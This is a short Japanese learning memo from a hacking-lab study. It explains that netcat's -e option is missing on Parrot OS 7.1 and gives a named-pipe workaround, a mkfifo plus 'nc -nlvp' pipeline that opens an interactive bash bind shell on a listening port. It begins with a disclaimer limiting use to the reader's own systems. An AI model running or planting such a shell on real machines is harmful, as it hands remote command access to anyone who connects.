はじめに
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
IPUSIRONさんの著書「ハッキング・ラボ のつくりかた 完全版 仮想環境におけるハッカー体験学習」をもとに、ハッキングの学習をしていたところ、BindShellの実行でつまづいたので備忘録として残します。
根拠はありませんが、使用しているOSが書籍とは違い「Parrot OS 7.1」であることが影響しているかもしれません。(書籍上では「Parrot OS 5.1.2」が使用されている)
問題点
サーバサイドでncを用いてBindShellを実行する場合、以下のコマンドを実行します。
nc -nlvp [port] -e /bin/bash
解決策
ncコマンドのmanを確認してみると以下の表記がありました。

「このnetcatに-cや-eオプションは存在しません。ncを使ってコマンドを実行したい場合は以下のコマンドでできますが、危険なので十分注意してください」というようなことが書いてます。
試してみたところ、BindShellの実行ができました。
実行したコマンドは以下の通り
# リセット
rm -f /tmp/f
# 名前付きパイプ作成
mkfifo /tmp/f
# BindShell実行
cat /tmp/f | /bin/bash -i 2>&1 | nc -nlvp [port] > /tmp/f

